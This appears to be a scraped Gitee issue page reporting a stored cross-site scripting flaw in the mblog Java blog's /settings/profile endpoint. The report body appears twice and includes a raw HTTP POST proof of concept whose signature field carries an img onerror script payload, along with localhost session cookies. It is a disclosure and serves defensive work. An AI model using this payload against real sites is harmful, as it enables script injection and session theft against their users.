登录
注册
开源
企业版
高校版
搜索
帮助中心
使用条款
关于我们
开源
企业版
高校版
私有云
模力方舟
AI 队友
登录
注册
轻量养虾,开箱即用!低 Token + 稳定算力,Gitee & 模力方舟联合出品的 PocketClaw 正式开售!点击了解详情
代码拉取完成,页面将自动刷新
开源项目
>
建站系统
>
博客系统
&&
捐赠
捐赠前请先登录
取消
前往登录
扫描微信二维码支付
取消
支付完成
支付提示
将跳转至支付宝完成支付
确定
取消
Watch
不关注
关注所有动态
仅关注版本发行动态
关注但不提醒动态
699
Star
3.3K
Fork
1.6K
mtons
/
mblog
代码
Issues
38
Pull Requests
1
Wiki
统计
流水线
服务
JavaDoc
质量分析
Jenkins for Gitee
腾讯云托管
腾讯云 Serverless
悬镜安全
阿里云 SAE
Codeblitz
SBOM
开发画像分析
我知道了,不再自动展开
更新失败,请稍后重试!
移除标识
内容风险标识
本任务被
标识为内容中包含有代码安全 Bug 、隐私泄露等敏感信息,仓库外成员不可访问
Stored XSS - /settings/profile
待办的
#ICPML3
ZAST
创建于
2025-07-29 19:53
# Summary The /settings/profile endpoint is used for editing user profile information, the user-controlled bio content parameter has no security checks, and has no encoding processing during output, thus creating stored XSS vulnerabilities. # POC ``` POST /settings/profile HTTP/1.1 Host: localhost:8080 Content-Length: 73 Cache-Control: max-age=0 sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Accept-Language: en-US,en;q=0.9 Origin: http://localhost:8080 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Referer: http://localhost:8080/settings/profile Accept-Encoding: gzip, deflate, br Cookie: Hm_lvt_9d1e524198ede8205ac7c938c243344c=1753595810; JSESSIONID=Q6pk1m8nOyEtyqit_YzWg7Jh6dIET_7MwwsFZYPa; rememberMe=VNhf7QT40SbPXJA1Aa/ys1o/XwMWH0fAFSoCj5tC/jGffTrU9r7EJmezdVALbWsomQdH6EWJD54qMXelw9qE1Kte6GS52tGJ7AEAMhjFMZPZxujFlIxZL05Vgvvmwvyua/JM//2cjHe5UFwj3euH1dOKAGkWYk4DeSbWpCPdPV24bm6yOD8DcCdTOvOBSbUpiqlULaJEDKwMW0DJBlVhofdzNTee0zcW77FSCDvb6DuYSz/MvBD0ATuyV+xsleP/uTxvbI2V/PRV2jF25VaPbWzcWQMJAm7sqTGm2L9qnDgQa/TjOjdMHTG+C+F4BKRtryPUycNpWX+IK3XZETFg6COVoFXhtk/5ti8NcLSkW6FMwlGlaMyqXdRpTV1HjOWmiCSHLfmHvdthVQqm10oX+TTYYSndTDPB01wkcWrm+K9UpwqVur3cKzKe+ZtaEWMA85awW1Y/i1dGnO6FyejsYiLreTde2xUzr0GCEW2HkU0IHNEwtaZjkuB04thjICEDm/Yygu/+1HK42V56ZLQYmr5IquELumFpNhLRM2qoCUSkBtYgxJiPDjPEeO71pa7LvTnlR7jKF53RJcfLKPTa1aiKv20L0Tqw4CHLOhbR7S0XcZDov+zKd8hgGilOSp1HpEzD5uGcSu7BT33aJaxlPn5pYOFxaFVTevuK9+mkQhAHNTPoX4LY5OFS0+IEUnQWlIaJEhC5UDtlnkoGXVHRGtUPbW4Kg3nt8xTgNMjsZwbIrs3hS+DcAgtjYL5ZXE2pQzPExEZTJ5YdYfG+2XJQ/Q6jEU1GHP0aZqGXueCrVJyen9/gxARKgTJLFFLVK8PhFG/KD+jLBbqvxICWQz/wd66HOmNGCiVILcKYIwStg1JAuNFkGiyWi+V7Z743t2eQyTUOUFlwEB5XqFbr2D9Q5tB/9lXlbrsfa/q7Xt2830W4wnzdzzfymISTERRychiZsY0uxo8OuD3yMcR7rOCz/2jbt7wtd4dbWO8PbbPe4CCSorGhbvn8V3+SI5X9v8YTKPdby/EQDIPm6cV5WXHIPiCEUYrgE+i/njM9eKWnrT4W58R3lvAtCAKoxm24LypSNLl+YghBj/JfvqpK6umAb8JAjK7+iafyD3Pi+22xyPAt4CZl7nWwbn0DIi2ykt5PVJA45mYe1j04XpmGjfuOfQ== Connection: keep-alive name=zast&signature=</textarea><img src=1 onerror=alert(/signature-xss/)> ```  
# Summary The /settings/profile endpoint is used for editing user profile information, the user-controlled bio content parameter has no security checks, and has no encoding processing during output, thus creating stored XSS vulnerabilities. # POC ``` POST /settings/profile HTTP/1.1 Host: localhost:8080 Content-Length: 73 Cache-Control: max-age=0 sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Accept-Language: en-US,en;q=0.9 Origin: http://localhost:8080 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Referer: http://localhost:8080/settings/profile Accept-Encoding: gzip, deflate, br Cookie: Hm_lvt_9d1e524198ede8205ac7c938c243344c=1753595810; JSESSIONID=Q6pk1m8nOyEtyqit_YzWg7Jh6dIET_7MwwsFZYPa; rememberMe=VNhf7QT40SbPXJA1Aa/ys1o/XwMWH0fAFSoCj5tC/jGffTrU9r7EJmezdVALbWsomQdH6EWJD54qMXelw9qE1Kte6GS52tGJ7AEAMhjFMZPZxujFlIxZL05Vgvvmwvyua/JM//2cjHe5UFwj3euH1dOKAGkWYk4DeSbWpCPdPV24bm6yOD8DcCdTOvOBSbUpiqlULaJEDKwMW0DJBlVhofdzNTee0zcW77FSCDvb6DuYSz/MvBD0ATuyV+xsleP/uTxvbI2V/PRV2jF25VaPbWzcWQMJAm7sqTGm2L9qnDgQa/TjOjdMHTG+C+F4BKRtryPUycNpWX+IK3XZETFg6COVoFXhtk/5ti8NcLSkW6FMwlGlaMyqXdRpTV1HjOWmiCSHLfmHvdthVQqm10oX+TTYYSndTDPB01wkcWrm+K9UpwqVur3cKzKe+ZtaEWMA85awW1Y/i1dGnO6FyejsYiLreTde2xUzr0GCEW2HkU0IHNEwtaZjkuB04thjICEDm/Yygu/+1HK42V56ZLQYmr5IquELumFpNhLRM2qoCUSkBtYgxJiPDjPEeO71pa7LvTnlR7jKF53RJcfLKPTa1aiKv20L0Tqw4CHLOhbR7S0XcZDov+zKd8hgGilOSp1HpEzD5uGcSu7BT33aJaxlPn5pYOFxaFVTevuK9+mkQhAHNTPoX4LY5OFS0+IEUnQWlIaJEhC5UDtlnkoGXVHRGtUPbW4Kg3nt8xTgNMjsZwbIrs3hS+DcAgtjYL5ZXE2pQzPExEZTJ5YdYfG+2XJQ/Q6jEU1GHP0aZqGXueCrVJyen9/gxARKgTJLFFLVK8PhFG/KD+jLBbqvxICWQz/wd66HOmNGCiVILcKYIwStg1JAuNFkGiyWi+V7Z743t2eQyTUOUFlwEB5XqFbr2D9Q5tB/9lXlbrsfa/q7Xt2830W4wnzdzzfymISTERRychiZsY0uxo8OuD3yMcR7rOCz/2jbt7wtd4dbWO8PbbPe4CCSorGhbvn8V3+SI5X9v8YTKPdby/EQDIPm6cV5WXHIPiCEUYrgE+i/njM9eKWnrT4W58R3lvAtCAKoxm24LypSNLl+YghBj/JfvqpK6umAb8JAjK7+iafyD3Pi+22xyPAt4CZl7nWwbn0DIi2ykt5PVJA45mYe1j04XpmGjfuOfQ== Connection: keep-alive name=zast&signature=</textarea><img src=1 onerror=alert(/signature-xss/)> ```  
评论 (
0
)
登录
后才可以发表评论
状态
待办的
待办的
进行中
已完成
已关闭
负责人
未设置
标签
未设置
标签管理
里程碑
未关联里程碑
未关联里程碑
Pull Requests
未关联
未关联
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
未关联
分支 (
-
)
标签 (
-
)
开始日期   -   截止日期
-
置顶选项
不置顶
置顶等级:高
置顶等级:中
置顶等级:低
优先级
不指定
严重
主要
次要
不重要
参与者(1)
Java
1
https://gitee.com/mtons/mblog.git
git@gitee.com:mtons/mblog.git
mtons
mblog
mblog
点此查找更多帮助
搜索帮助
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
评论
仓库举报
回到顶部
登录提示
该操作需登录 Gitee 帐号,请先登录后再操作。
立即登录
没有帐号,去注册